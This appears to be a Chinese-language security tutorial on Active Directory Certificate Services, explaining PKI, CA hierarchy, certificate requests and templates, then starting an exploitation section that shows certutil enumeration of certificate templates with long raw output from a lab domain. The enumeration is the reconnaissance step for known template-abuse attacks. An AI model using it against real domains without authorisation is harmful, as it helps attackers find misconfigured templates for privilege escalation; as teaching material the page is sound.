:::info

  • PKI - Public Key Infrastructure 管理证书和公钥加密的系统
  • AD CS - Active Directory Certificate Services Microsoft 的 PKI 实现，通常在 DC 上运行
  • CA - Certificate Authority PKI 的颁发机构
  • Certificate Template - 一组设置和策略，用于定义 CA 如何生成和何时颁发证书
  • CSR - Certificate Signing Request 发送给 CA 以请求签名证书
  • EKU - Extended/Enhanced Key Usage 定义如何生成证书的对象标识符

:::

介绍

PKI

PKI 其实是一个术语表示： 公钥基本结构，用于实现证书的产生、管理、存储、分发和撤销等功能。

ADCS (AD 证书服务) 就是 PKI 的一个实现，ADCS能够跟现有的ADDS服务进行结合，可以用以加密文件系统，数字签名，以及身份验证

CA

证书颁发机构 (CA) 接受证书申请，根据 CA 的策略验证申请者的信息，然后使用其私钥将其数字签名应用于证书。然后 CA 将证书颁发给证书的使用者。此外，CA 还负责吊销证书和发布证书吊销列表 (CRL)。

ADCS 中的 CA 分为 企业 CA 和 独立 CA，最主要的区别在于企业CA与ADDS服务结合，他的信息存储在ADDS数据库里面(就是LDAP上)。企业CA也支持基于证书模板和自动注册证书

:::tips

举个例子，我们有个有个域名daiker.com，如果要做https，我们就需要找证书颁发机构申请证书，比如说沃通CA。

:::

我们也可以自己搭建一个证书颁发机构。

AD CS - 图1

但是使用自建的证书发布服务之后,浏览器还是不信任我们证书，我们经常可以看到

AD CS - 图2

自行签名的根证书。之所以出现这个是因为电脑本身并不相信我们的CA证书。以下证书是windows内置的CA证书。如果我们能够把我们的CA证书放在这个列表里面，我们的证书就能得到信任。

AD CS - 图3

对于企业来说，如果使用ADCS服务，想让员工的计算机信任我们企业自己的CA证书，有以下几种方式
  1. 安装企业根CA时，它使用组策略将其证书传播到域中所有用户和计算机的“受信任的根证书颁发机构”证书存储
  2. 手动导入CA证书
另外AD CS支持可缩放的分层 CA 模型，在此模型中，子从属 CA 由其父 CA 颁发的证书认证。层次结构顶部的 CA 称为根 CA。根 CA 的子 CA 称为从属 CA。

AD CS - 图4

以上图为例子，每个企业仅有一个根CA，他由自己颁发，在大多数组织中，它们只用于颁发从属 CA，不直接颁发证书。而具体的证书由从属CA颁发，比如网站的证书，LDAPS的证书，这样做方便管理，在机器比较多的域内还能起到负载均衡的作用。当然，AD CS支持分层的CA模型不代表一定要分层，对于比较小的公司，一般都只有一个根CA，所有的证书由这个根CA进行颁发。

证书请求与生成

AD CS - 图5

  1. 客户端生成一个证书申请文件，这一步可以使用openssl生成 
  1. openssl req -new -SHA256 -newkey rsa:4096 -nodes -keyout www.netstarsec.com.key -out www.netstarsec.com.csr -subj "/C=CN/ST=Beijing/L=Beijing/O=netstarsec/OU=sec/CN=www.netstarsec.com"
  1. 客户端把证书申请文件发送给CA，然后选择一个证书模板
    AD CS - 图6
  2. CA证书会判断模板是否存在，根据模板的信息判断请求的用户是否有权限申请证书。证书模板会决定证书的主题名是什么，证书的有效时间是多久，证书用于干啥。是不是需要证书管理员批准。
  3. CA会使用自己的私钥来签署证书。签署完的证书可以在颁发列表里面看到

证书模板

证书模板是证书策略的重要元素，是用于证书注册、使用和管理的一组规则和格式。这些规则是指谁可以注册证书。证书的主题名是什么。比如要注册一个web证书，那可以在Web服务器这个默认的证书模板里面定义谁可以注册证书，证书的有效时间是多久，证书用于干啥，证书的主题名是什么，是由申请者提交，还是由证书模板指定。 我们可以使用 <font style="color:rgb(18, 18, 18);background-color:rgb(246, 246, 246);">certtmlp.msc</font> 打开证书模板控制台

AD CS - 图7

这些都是系统默认的证书模板。 如果需要发布一个新的模板的话，可以右键复制模板，然后自己定义这些规则。

利用

Certified Pre-Owned

证书模板枚举

我们可以使用 certutil进行枚举所有的模板并存储在文件中：

  1. C;\> certutil -v -template > cert_templates.txt
  1.   Name: Active Directory Enrollment Policy
  2.   Id: {163768E2-712B-4E97-A6A3-5E597F91D6F4}
  3.   Url: ldap:
  4. 35 Templates:
  6.   Template[0]:
  7.   TemplatePropCommonName = Administrator
  8.   TemplatePropFriendlyName = Administrator
  9.   TemplatePropEKUs =
  10. 4 ObjectIds:
  11.     1.3.6.1.4.1.311.10.3.1 Microsoft Trust List Signing
  12.     1.3.6.1.4.1.311.10.3.4 Encrypting File System
  13.     1.3.6.1.5.5.7.3.4 Secure Email
  14.     1.3.6.1.5.5.7.3.2 Client Authentication
  16.   TemplatePropCryptoProviders =
  17.     0: Microsoft Enhanced Cryptographic Provider v1.0
  18.     1: Microsoft Base Cryptographic Provider v1.0
  20.   TemplatePropMajorRevision = 4
  21.   TemplatePropDescription = User
  22.   TemplatePropSchemaVersion = 1
  23.   TemplatePropMinorRevision = 1
  24.   TemplatePropRASignatureCount = 0
  25.   TemplatePropMinimumKeySize = 800 (2048)
  26.   TemplatePropOID =
  27.     1.3.6.1.4.1.311.21.8.13251815.15344444.12602244.3735211.11040971.202.1.7
  29.   TemplatePropEnrollmentFlags = 29 (41)
  30.     CT_FLAG_INCLUDE_SYMMETRIC_ALGORITHMS -- 1
  31.     CT_FLAG_PUBLISH_TO_DS -- 8
  32.     CT_FLAG_AUTO_ENROLLMENT -- 20 (32)
  34.   TemplatePropSubjectNameFlags = a6000000 (-1509949440)
  35.     CT_FLAG_SUBJECT_ALT_REQUIRE_UPN -- 2000000 (33554432)
  36.     CT_FLAG_SUBJECT_ALT_REQUIRE_EMAIL -- 4000000 (67108864)
  37.     CT_FLAG_SUBJECT_REQUIRE_EMAIL -- 20000000 (536870912)
  38.     CT_FLAG_SUBJECT_REQUIRE_DIRECTORY_PATH -- 80000000 (-2147483648)
  40.   TemplatePropPrivateKeyFlags = 10 (16)
  41.     CTPRIVATEKEY_FLAG_EXPORTABLE_KEY -- 10 (16)
  42.     CTPRIVATEKEY_FLAG_ATTEST_NONE -- 0
  43.     TEMPLATE_SERVER_VER_NONE<<CTPRIVATEKEY_FLAG_SERVERVERSION_SHIFT -- 0
  44.     TEMPLATE_CLIENT_VER_NONE<<CTPRIVATEKEY_FLAG_CLIENTVERSION_SHIFT -- 0
  46.   TemplatePropGeneralFlags = 1023a (66106)
  47.     CT_FLAG_ADD_EMAIL -- 2
  48.     CT_FLAG_PUBLISH_TO_DS -- 8
  49.     CT_FLAG_EXPORTABLE_KEY -- 10 (16)
  50.     CT_FLAG_AUTO_ENROLLMENT -- 20 (32)
  51.     CT_FLAG_ADD_TEMPLATE_NAME -- 200 (512)
  52.     CT_FLAG_IS_DEFAULT -- 10000 (65536)
  54.   TemplatePropSecurityDescriptor = O:S-1-5-21-3330634377-1326264276-632209373-519G:S-1-5-21-3330634377-1326264276-632209373-519D:PAI(OA;;RPWPCR;0e10c968-78fb-11d2-90d4-00c04f79dc55;;DA)(OA;;RPWPCR;0e10c968-78fb-11d2-90d4-00c04f79dc55;;S-1-5-21-3330634377-1326264276-632209373-519)(A;;CCDCLCSWRPWPDTLOSDRCWDWO;;;DA)(A;;CCDCLCSWRPWPDTLOSDRCWDWO;;;S-1-5-21-3330634377-1326264276-632209373-519)(A;;LCRPLORC;;;AU)
  56.     Allow Enroll    LUNAR\Domain Admins
  57.     Allow Enroll    LUNAR\Enterprise Admins
  58.     Allow Full Control    LUNAR\Domain Admins
  59.     Allow Full Control    LUNAR\Enterprise Admins
  60.     Allow Read    NT AUTHORITY\Authenticated Users
  63.   TemplatePropExtensions =
  64. 3 Extensions:
  66.   Extension[0]:
  67.     1.3.6.1.4.1.311.20.2: Flags = 0, Length = 1c
  68.     Certificate Template Name (Certificate Type)
  69.         Administrator
  71.   Extension[1]:
  72.     2.5.29.37: Flags = 0, Length = 2e
  73.     Enhanced Key Usage
  74.         Microsoft Trust List Signing (1.3.6.1.4.1.311.10.3.1)
  75.         Encrypting File System (1.3.6.1.4.1.311.10.3.4)
  76.         Secure Email (1.3.6.1.5.5.7.3.4)
  77.         Client Authentication (1.3.6.1.5.5.7.3.2)
  79.   Extension[2]:
  80.     2.5.29.15: Flags = 1(Critical), Length = 4
  81.     Key Usage
  82.         Digital Signature, Key Encipherment (a0)
  84.   TemplatePropValidityPeriod = 1 Years
  85.   TemplatePropRenewalPeriod = 6 Weeks
  87.   Template[1]:
  88.   TemplatePropCommonName = ClientAuth
  89.   TemplatePropFriendlyName = Authenticated Session
  90.   TemplatePropEKUs =
  91. 1 ObjectIds:
  92.     1.3.6.1.5.5.7.3.2 Client Authentication
  94.   TemplatePropCryptoProviders =
  95.     0: Microsoft Enhanced Cryptographic Provider v1.0
  96.     1: Microsoft Base Cryptographic Provider v1.0
  97.     2: Microsoft Base DSS Cryptographic Provider
  99.   TemplatePropMajorRevision = 3
  100.   TemplatePropDescription = User
  101.   TemplatePropSchemaVersion = 1
  102.   TemplatePropMinorRevision = 1
  103.   TemplatePropRASignatureCount = 0
  104.   TemplatePropMinimumKeySize = 800 (2048)
  105.   TemplatePropOID =
  106.     1.3.6.1.4.1.311.21.8.13251815.15344444.12602244.3735211.11040971.202.1.4
  108.   TemplatePropEnrollmentFlags = 20 (32)
  109.     CT_FLAG_AUTO_ENROLLMENT -- 20 (32)
  111.   TemplatePropSubjectNameFlags = 82000000 (-2113929216)
  112.     CT_FLAG_SUBJECT_ALT_REQUIRE_UPN -- 2000000 (33554432)
  113.     CT_FLAG_SUBJECT_REQUIRE_DIRECTORY_PATH -- 80000000 (-2147483648)
  115.   TemplatePropPrivateKeyFlags = 0
  116.     CTPRIVATEKEY_FLAG_ATTEST_NONE -- 0
  117.     TEMPLATE_SERVER_VER_NONE<<CTPRIVATEKEY_FLAG_SERVERVERSION_SHIFT -- 0
  118.     TEMPLATE_CLIENT_VER_NONE<<CTPRIVATEKEY_FLAG_CLIENTVERSION_SHIFT -- 0
  120.   TemplatePropGeneralFlags = 10220 (66080)
  121.     CT_FLAG_AUTO_ENROLLMENT -- 20 (32)
  122.     CT_FLAG_ADD_TEMPLATE_NAME -- 200 (512)
  123.     CT_FLAG_IS_DEFAULT -- 10000 (65536)
  125.   TemplatePropSecurityDescriptor = O:S-1-5-21-3330634377-1326264276-632209373-519G:S-1-5-21-3330634377-1326264276-632209373-519D:PAI(OA;;RPWPCR;0e10c968-78fb-11d2-90d4-00c04f79dc55;;DA)(OA;;RPWPCR;0e10c968-78fb-11d2-90d4-00c04f79dc55;;DU)(OA;;RPWPCR;0e10c968-78fb-11d2-90d4-00c04f79dc55;;S-1-5-21-3330634377-1326264276-632209373-519)(A;;CCDCLCSWRPWPDTLOSDRCWDWO;;;DA)(A;;CCDCLCSWRPWPDTLOSDRCWDWO;;;S-1-5-21-3330634377-1326264276-632209373-519)(A;;LCRPLORC;;;AU)
  127.     Allow Enroll    LUNAR\Domain Admins
  128.     Allow Enroll    LUNAR\Domain Users
  129.     Allow Enroll    LUNAR\Enterprise Admins
  130.     Allow Full Control    LUNAR\Domain Admins
  131.     Allow Full Control    LUNAR\Enterprise Admins
  132.     Allow Read    NT AUTHORITY\Authenticated Users
  135.   TemplatePropExtensions =
  136. 3 Extensions:
  138.   Extension[0]:
  139.     1.3.6.1.4.1.311.20.2: Flags = 0, Length = 16
  140.     Certificate Template Name (Certificate Type)
  141.         ClientAuth
  143.   Extension[1]:
  144.     2.5.29.37: Flags = 0, Length = c
  145.     Enhanced Key Usage
  146.         Client Authentication (1.3.6.1.5.5.7.3.2)
  148.   Extension[2]:
  149.     2.5.29.15: Flags = 1(Critical), Length = 4
  150.     Key Usage
  151.         Digital Signature (80)
  153.   TemplatePropValidityPeriod = 1 Years
  154.   TemplatePropRenewalPeriod = 6 Weeks
  156.   Template[2]:
  157.   TemplatePropCommonName = EFS
  158.   TemplatePropFriendlyName = Basic EFS
  159.   TemplatePropEKUs =
  160. 1 ObjectIds:
  161.     1.3.6.1.4.1.311.10.3.4 Encrypting File System
  163.   TemplatePropCryptoProviders =
  164.     0: Microsoft Enhanced Cryptographic Provider v1.0
  165.     1: Microsoft Base Cryptographic Provider v1.0
  167.   TemplatePropMajorRevision = 3
  168.   TemplatePropDescription = User
  169.   TemplatePropSchemaVersion = 1
  170.   TemplatePropMinorRevision = 1
  171.   TemplatePropRASignatureCount = 0
  172.   TemplatePropMinimumKeySize = 800 (2048)
  173.   TemplatePropOID =
  174.     1.3.6.1.4.1.311.21.8.13251815.15344444.12602244.3735211.11040971.202.1.6
  176.   TemplatePropEnrollmentFlags = 29 (41)
  177.     CT_FLAG_INCLUDE_SYMMETRIC_ALGORITHMS -- 1
  178.     CT_FLAG_PUBLISH_TO_DS -- 8
  179.     CT_FLAG_AUTO_ENROLLMENT -- 20 (32)
  181.   TemplatePropSubjectNameFlags = 82000000 (-2113929216)
  182.     CT_FLAG_SUBJECT_ALT_REQUIRE_UPN -- 2000000 (33554432)
  183.     CT_FLAG_SUBJECT_REQUIRE_DIRECTORY_PATH -- 80000000 (-2147483648)
  185.   TemplatePropPrivateKeyFlags = 10 (16)
  186.     CTPRIVATEKEY_FLAG_EXPORTABLE_KEY -- 10 (16)
  187.     CTPRIVATEKEY_FLAG_ATTEST_NONE -- 0
  188.     TEMPLATE_SERVER_VER_NONE<<CTPRIVATEKEY_FLAG_SERVERVERSION_SHIFT -- 0
  189.     TEMPLATE_CLIENT_VER_NONE<<CTPRIVATEKEY_FLAG_CLIENTVERSION_SHIFT -- 0
  191.   TemplatePropGeneralFlags = 10238 (66104)
  192.     CT_FLAG_PUBLISH_TO_DS -- 8
  193.     CT_FLAG_EXPORTABLE_KEY -- 10 (16)
  194.     CT_FLAG_AUTO_ENROLLMENT -- 20 (32)
  195.     CT_FLAG_ADD_TEMPLATE_NAME -- 200 (512)
  196.     CT_FLAG_IS_DEFAULT -- 10000 (65536)
  198.   TemplatePropSecurityDescriptor = O:S-1-5-21-3330634377-1326264276-632209373-519G:S-1-5-21-3330634377-1326264276-632209373-519D:PAI(OA;;RPWPCR;0e10c968-78fb-11d2-90d4-00c04f79dc55;;DA)(OA;;RPWPCR;0e10c968-78fb-11d2-90d4-00c04f79dc55;;DU)(OA;;RPWPCR;0e10c968-78fb-11d2-90d4-00c04f79dc55;;S-1-5-21-3330634377-1326264276-632209373-519)(A;;CCDCLCSWRPWPDTLOSDRCWDWO;;;DA)(A;;CCDCLCSWRPWPDTLOSDRCWDWO;;;S-1-5-21-3330634377-1326264276-632209373-519)(A;;LCRPLORC;;;AU)
  200.     Allow Enroll    LUNAR\Domain Admins
  201.     Allow Enroll    LUNAR\Domain Users
  202.     Allow Enroll    LUNAR\Enterprise Admins
  203.     Allow Full Control    LUNAR\Domain Admins
  204.     Allow Full Control    LUNAR\Enterprise Admins
  205.     Allow Read    NT AUTHORITY\Authenticated Users
  208.   TemplatePropExtensions =
  209. 3 Extensions:
  211.   Extension[0]:
  212.     1.3.6.1.4.1.311.20.2: Flags = 0, Length = 8
  213.     Certificate Template Name (Certificate Type)
  214.         EFS
  216.   Extension[1]:
  217.     2.5.29.37: Flags = 0, Length = e
  218.     Enhanced Key Usage
  219.         Encrypting File System (1.3.6.1.4.1.311.10.3.4)
  221.   Extension[2]:
  222.     2.5.29.15: Flags = 1(Critical), Length = 4
  223.     Key Usage
  224.         Key Encipherment (20)
  226.   TemplatePropValidityPeriod = 1 Years
  227.   TemplatePropRenewalPeriod = 6 Weeks
  229.   Template[3]:
  230.   TemplatePropCommonName = CAExchange
  231.   TemplatePropFriendlyName = CA Exchange
  232.   TemplatePropEKUs =
  233. 1 ObjectIds:
  234.     1.3.6.1.4.1.311.21.5 Private Key Archival
  236.   TemplatePropCryptoProviders =
  237.     0: Microsoft Enhanced Cryptographic Provider v1.0
  238.     1: Microsoft Base Cryptographic Provider v1.0
  240.   TemplatePropMajorRevision = 6a (106)
  241.   TemplatePropDescription = Computer
  242.   TemplatePropSchemaVersion = 2
  243.   TemplatePropMinorRevision = 0
  244.   TemplatePropRASignatureCount = 0
  245.   TemplatePropMinimumKeySize = 800 (2048)
  246.   TemplatePropOID =
  247.     1.3.6.1.4.1.311.21.8.13251815.15344444.12602244.3735211.11040971.202.1.26 CA Exchange
  249.   TemplatePropV1ApplicationPolicy =
  250. 1 ObjectIds:
  251.     1.3.6.1.4.1.311.21.5 Private Key Archival
  253.   TemplatePropEnrollmentFlags = 1
  254.     CT_FLAG_INCLUDE_SYMMETRIC_ALGORITHMS -- 1
  256.   TemplatePropSubjectNameFlags = 1
  257.     CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT -- 1
  259.   TemplatePropPrivateKeyFlags = 0
  260.     CTPRIVATEKEY_FLAG_ATTEST_NONE -- 0
  261.     TEMPLATE_SERVER_VER_NONE<<CTPRIVATEKEY_FLAG_SERVERVERSION_SHIFT -- 0
  262.     TEMPLATE_CLIENT_VER_NONE<<CTPRIVATEKEY_FLAG_CLIENTVERSION_SHIFT -- 0
  264.   TemplatePropGeneralFlags = 10040 (65600)
  265.     CT_FLAG_MACHINE_TYPE -- 40 (64)
  266.     CT_FLAG_IS_DEFAULT -- 10000 (65536)
  268.   TemplatePropSecurityDescriptor = O:S-1-5-21-3330634377-1326264276-632209373-519G:S-1-5-21-3330634377-1326264276-632209373-519D:PAI(OA;;RPWPCR;0e10c968-78fb-11d2-90d4-00c04f79dc55;;DA)(OA;;RPWPCR;0e10c968-78fb-11d2-90d4-00c04f79dc55;;S-1-5-21-3330634377-1326264276-632209373-519)(A;;CCDCLCSWRPWPDTLOSDRCWDWO;;;DA)(A;;CCDCLCSWRPWPDTLOSDRCWDWO;;;S-1-5-21-3330634377-1326264276-632209373-519)(A;;LCRPLORC;;;AU)
  270.     Allow Enroll    LUNAR\Domain Admins
  271.     Allow Enroll    LUNAR\Enterprise Admins
  272.     Allow Full Control    LUNAR\Domain Admins
  273.     Allow Full Control    LUNAR\Enterprise Admins
  274.     Allow Read    NT AUTHORITY\Authenticated Users
  277.   TemplatePropExtensions =
  278. 4 Extensions:
  280.   Extension[0]:
  281.     1.3.6.1.4.1.311.21.7: Flags = 0, Length = 2b
  282.     Certificate Template Information
  283.         Template=CA Exchange(1.3.6.1.4.1.311.21.8.13251815.15344444.12602244.3735211.11040971.202.1.26)
  284.         Major Version Number=106
  285.         Minor Version Number=0
  287.   Extension[1]:
  288.     2.5.29.37: Flags = 0, Length = d
  289.     Enhanced Key Usage
  290.         Private Key Archival (1.3.6.1.4.1.311.21.5)
  292.   Extension[2]:
  293.     2.5.29.15: Flags = 1(Critical), Length = 4
  294.     Key Usage
  295.         Key Encipherment (20)
  297.   Extension[3]:
  298.     1.3.6.1.4.1.311.21.10: Flags = 0, Length = f
  299.     Application Policies
  300.         [1]Application Certificate Policy:
  301.              Policy Identifier=Private Key Archival
  303.   TemplatePropValidityPeriod = 1 Weeks
  304.   TemplatePropRenewalPeriod = 1 Days
  306.   Template[4]:
  307.   TemplatePropCommonName = CEPEncryption
  308.   TemplatePropFriendlyName = CEP Encryption
  309.   TemplatePropEKUs =
  310. 1 ObjectIds:
  311.     1.3.6.1.4.1.311.20.2.1 Certificate Request Agent
  313.   TemplatePropCryptoProviders =
  314.     0: Microsoft RSA SChannel Cryptographic Provider
  316.   TemplatePropMajorRevision = 4
  317.   TemplatePropDescription = Computer
  318.   TemplatePropSchemaVersion = 1
  319.   TemplatePropMinorRevision = 1
  320.   TemplatePropRASignatureCount = 0
  321.   TemplatePropMinimumKeySize = 800 (2048)
  322.   TemplatePropOID =
  323.     1.3.6.1.4.1.311.21.8.13251815.15344444.12602244.3735211.11040971.202.1.22
  325.   TemplatePropEnrollmentFlags = 0
  327.   TemplatePropSubjectNameFlags = 1
  328.     CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT -- 1
  330.   TemplatePropPrivateKeyFlags = 0
  331.     CTPRIVATEKEY_FLAG_ATTEST_NONE -- 0
  332.     TEMPLATE_SERVER_VER_NONE<<CTPRIVATEKEY_FLAG_SERVERVERSION_SHIFT -- 0
  333.     TEMPLATE_CLIENT_VER_NONE<<CTPRIVATEKEY_FLAG_CLIENTVERSION_SHIFT -- 0
  335.   TemplatePropGeneralFlags = 10241 (66113)
  336.     CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT -- 1
  337.     CT_FLAG_MACHINE_TYPE -- 40 (64)
  338.     CT_FLAG_ADD_TEMPLATE_NAME -- 200 (512)
  339.     CT_FLAG_IS_DEFAULT -- 10000 (65536)
  341.   TemplatePropSecurityDescriptor = O:S-1-5-21-3330634377-1326264276-632209373-519G:S-1-5-21-3330634377-1326264276-632209373-519D:PAI(OA;;RPWPCR;0e10c968-78fb-11d2-90d4-00c04f79dc55;;DA)(OA;;RPWPCR;0e10c968-78fb-11d2-90d4-00c04f79dc55;;S-1-5-21-3330634377-1326264276-632209373-519)(A;;CCDCLCSWRPWPDTLOSDRCWDWO;;;DA)(A;;CCDCLCSWRPWPDTLOSDRCWDWO;;;S-1-5-21-3330634377-1326264276-632209373-519)(A;;LCRPLORC;;;AU)
  343.     Allow Enroll    LUNAR\Domain Admins
  344.     Allow Enroll    LUNAR\Enterprise Admins
  345.     Allow Full Control    LUNAR\Domain Admins
  346.     Allow Full Control    LUNAR\Enterprise Admins
  347.     Allow Read    NT AUTHORITY\Authenticated Users
  350.   TemplatePropExtensions =
  351. 3 Extensions:
  353.   Extension[0]:
  354.     1.3.6.1.4.1.311.20.2: Flags = 0, Length = 1c
  355.     Certificate Template Name (Certificate Type)
  356.         CEPEncryption
  358.   Extension[1]:
  359.     2.5.29.37: Flags = 0, Length = e
  360.     Enhanced Key Usage
  361.         Certificate Request Agent (1.3.6.1.4.1.311.20.2.1)
  363.   Extension[2]:
  364.     2.5.29.15: Flags = 1(Critical), Length = 4
  365.     Key Usage
  366.         Key Encipherment (20)
  368.   TemplatePropValidityPeriod = 2 Years
  369.   TemplatePropRenewalPeriod = 6 Weeks
  371.   Template[5]:
  372.   TemplatePropCommonName = CodeSigning
  373.   TemplatePropFriendlyName = Code Signing
  374.   TemplatePropEKUs =
  375. 1 ObjectIds:
  376.     1.3.6.1.5.5.7.3.3 Code Signing
  378.   TemplatePropCryptoProviders =
  379.     0: Microsoft Enhanced Cryptographic Provider v1.0
  380.     1: Microsoft Base Cryptographic Provider v1.0
  381.     2: Microsoft Base DSS Cryptographic Provider
  383.   TemplatePropMajorRevision = 3
  384.   TemplatePropDescription = User
  385.   TemplatePropSchemaVersion = 1
  386.   TemplatePropMinorRevision = 1
  387.   TemplatePropRASignatureCount = 0
  388.   TemplatePropMinimumKeySize = 800 (2048)
  389.   TemplatePropOID =
  390.     1.3.6.1.4.1.311.21.8.13251815.15344444.12602244.3735211.11040971.202.1.9
  392.   TemplatePropEnrollmentFlags = 20 (32)
  393.     CT_FLAG_AUTO_ENROLLMENT -- 20 (32)
  395.   TemplatePropSubjectNameFlags = 82000000 (-2113929216)
  396.     CT_FLAG_SUBJECT_ALT_REQUIRE_UPN -- 2000000 (33554432)
  397.     CT_FLAG_SUBJECT_REQUIRE_DIRECTORY_PATH -- 80000000 (-2147483648)
  399.   TemplatePropPrivateKeyFlags = 0
  400.     CTPRIVATEKEY_FLAG_ATTEST_NONE -- 0
  401.     TEMPLATE_SERVER_VER_NONE<<CTPRIVATEKEY_FLAG_SERVERVERSION_SHIFT -- 0
  402.     TEMPLATE_CLIENT_VER_NONE<<CTPRIVATEKEY_FLAG_CLIENTVERSION_SHIFT -- 0
  404.   TemplatePropGeneralFlags = 10220 (66080)
  405.     CT_FLAG_AUTO_ENROLLMENT -- 20 (32)
  406.     CT_FLAG_ADD_TEMPLATE_NAME -- 200 (512)
  407.     CT_FLAG_IS_DEFAULT -- 10000 (65536)
  409.   TemplatePropSecurityDescriptor = O:S-1-5-21-3330634377-1326264276-632209373-519G:S-1-5-21-3330634377-1326264276-632209373-519D:PAI(OA;;RPWPCR;0e10c968-78fb-11d2-90d4-00c04f79dc55;;DA)(OA;;RPWPCR;0e10c968-78fb-11d2-90d4-00c04f79dc55;;S-1-5-21-3330634377-1326264276-632209373-519)(A;;CCDCLCSWRPWPDTLOSDRCWDWO;;;DA)(A;;CCDCLCSWRPWPDTLOSDRCWDWO;;;S-1-5-21-3330634377-1326264276-632209373-519)(A;;LCRPLORC;;;AU)
  411.     Allow Enroll    LUNAR\Domain Admins
  412.     Allow Enroll    LUNAR\Enterprise Admins
  413.     Allow Full Control    LUNAR\Domain Admins
  414.     Allow Full Control    LUNAR\Enterprise Admins
  415.     Allow Read    NT AUTHORITY\Authenticated Users
  418.   TemplatePropExtensions =
  419. 3 Extensions:
  421.   Extension[0]:
  422.     1.3.6.1.4.1.311.20.2: Flags = 0, Length = 18
  423.     Certificate Template Name (Certificate Type)
  424.         CodeSigning
  426.   Extension[1]:
  427.     2.5.29.37: Flags = 0, Length = c
  428.     Enhanced Key Usage
  429.         Code Signing (1.3.6.1.5.5.7.3.3)
  431.   Extension[2]:
  432.     2.5.29.15: Flags = 1(Critical), Length = 4
  433.     Key Usage
  434.         Digital Signature (80)
  436.   TemplatePropValidityPeriod = 1 Years
  437.   TemplatePropRenewalPeriod = 6 Weeks
  439.   Template[6]:
  440.   TemplatePropCommonName = Machine
  441.   TemplatePropFriendlyName = Computer
  442.   TemplatePropEKUs =
  443. 2 ObjectIds:
  444.     1.3.6.1.5.5.7.3.2 Client Authentication
  445.     1.3.6.1.5.5.7.3.1 Server Authentication
  447.   TemplatePropCryptoProviders =
  448.     0: Microsoft RSA SChannel Cryptographic Provider
  450.   TemplatePropMajorRevision = 5
  451.   TemplatePropDescription = Computer
  452.   TemplatePropSchemaVersion = 1
  453.   TemplatePropMinorRevision = 1
  454.   TemplatePropRASignatureCount = 0
  455.   TemplatePropMinimumKeySize = 800 (2048)
  456.   TemplatePropOID =
  457.     1.3.6.1.4.1.311.21.8.13251815.15344444.12602244.3735211.11040971.202.1.14
  459.   TemplatePropEnrollmentFlags = 20 (32)
  460.     CT_FLAG_AUTO_ENROLLMENT -- 20 (32)
  462.   TemplatePropSubjectNameFlags = 18000000 (402653184)
  463.     CT_FLAG_SUBJECT_ALT_REQUIRE_DNS -- 8000000 (134217728)
  464.     CT_FLAG_SUBJECT_REQUIRE_DNS_AS_CN -- 10000000 (268435456)
  466.   TemplatePropPrivateKeyFlags = 0
  467.     CTPRIVATEKEY_FLAG_ATTEST_NONE -- 0
  468.     TEMPLATE_SERVER_VER_NONE<<CTPRIVATEKEY_FLAG_SERVERVERSION_SHIFT -- 0
  469.     TEMPLATE_CLIENT_VER_NONE<<CTPRIVATEKEY_FLAG_CLIENTVERSION_SHIFT -- 0
  471.   TemplatePropGeneralFlags = 10260 (66144)
  472.     CT_FLAG_AUTO_ENROLLMENT -- 20 (32)
  473.     CT_FLAG_MACHINE_TYPE -- 40 (64)
  474.     CT_FLAG_ADD_TEMPLATE_NAME -- 200 (512)
  475.     CT_FLAG_IS_DEFAULT -- 10000 (65536)
  477.   TemplatePropSecurityDescriptor = O:S-1-5-21-3330634377-1326264276-632209373-519G:S-1-5-21-3330634377-1326264276-632209373-519D:PAI(OA;;RPWPCR;0e10c968-78fb-11d2-90d4-00c04f79dc55;;DA)(OA;;RPWPCR;0e10c968-78fb-11d2-90d4-00c04f79dc55;;DC)(OA;;RPWPCR;0e10c968-78fb-11d2-90d4-00c04f79dc55;;S-1-5-21-3330634377-1326264276-632209373-519)(A;;CCDCLCSWRPWPDTLOSDRCWDWO;;;DA)(A;;CCDCLCSWRPWPDTLOSDRCWDWO;;;S-1-5-21-3330634377-1326264276-632209373-519)(A;;LCRPLORC;;;AU)
  479.     Allow Enroll    LUNAR\Domain Admins
  480.     Allow Enroll    LUNAR\Domain Computers
  481.     Allow Enroll    LUNAR\Enterprise Admins
  482.     Allow Full Control    LUNAR\Domain Admins
  483.     Allow Full Control    LUNAR\Enterprise Admins
  484.     Allow Read    NT AUTHORITY\Authenticated Users
  487.   TemplatePropExtensions =
  488. 3 Extensions:
  490.   Extension[0]:
  491.     1.3.6.1.4.1.311.20.2: Flags = 0, Length = 10
  492.     Certificate Template Name (Certificate Type)
  493.         Machine
  495.   Extension[1]:
  496.     2.5.29.37: Flags = 0, Length = 16
  497.     Enhanced Key Usage
  498.         Client Authentication (1.3.6.1.5.5.7.3.2)
  499.         Server Authentication (1.3.6.1.5.5.7.3.1)
  501.   Extension[2]:
  502.     2.5.29.15: Flags = 1(Critical), Length = 4
  503.     Key Usage
  504.         Digital Signature, Key Encipherment (a0)
  506.   TemplatePropValidityPeriod = 1 Years
  507.   TemplatePropRenewalPeriod = 6 Weeks
  509.   Template[7]:
  510.   TemplatePropCommonName = CrossCA
  511.   TemplatePropFriendlyName = Cross Certification Authority
  512.   TemplatePropCryptoProviders =
  513.     0: Microsoft Enhanced Cryptographic Provider v1.0
  515.   TemplatePropMajorRevision = 69 (105)
  516.   TemplatePropDescription = Cross-certified certification authority
  517.   TemplatePropSchemaVersion = 2
  518.   TemplatePropMinorRevision = 0
  519.   TemplatePropRASignatureCount = 1
  520.   TemplatePropMinimumKeySize = 800 (2048)
  521.   TemplatePropOID =
  522.     1.3.6.1.4.1.311.21.8.13251815.15344444.12602244.3735211.11040971.202.1.25 Cross Certification Authority
  524.   TemplatePropRAEKUs =
  525. 1 ObjectIds:
  526.     1.3.6.1.4.1.311.10.3.10 Qualified Subordination
  528.   TemplatePropEnrollmentFlags = 8
  529.     CT_FLAG_PUBLISH_TO_DS -- 8
  531.   TemplatePropSubjectNameFlags = 1
  532.     CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT -- 1
  534.   TemplatePropPrivateKeyFlags = 10 (16)
  535.     CTPRIVATEKEY_FLAG_EXPORTABLE_KEY -- 10 (16)
  536.     CTPRIVATEKEY_FLAG_ATTEST_NONE -- 0
  537.     TEMPLATE_SERVER_VER_NONE<<CTPRIVATEKEY_FLAG_SERVERVERSION_SHIFT -- 0
  538.     TEMPLATE_CLIENT_VER_NONE<<CTPRIVATEKEY_FLAG_CLIENTVERSION_SHIFT -- 0
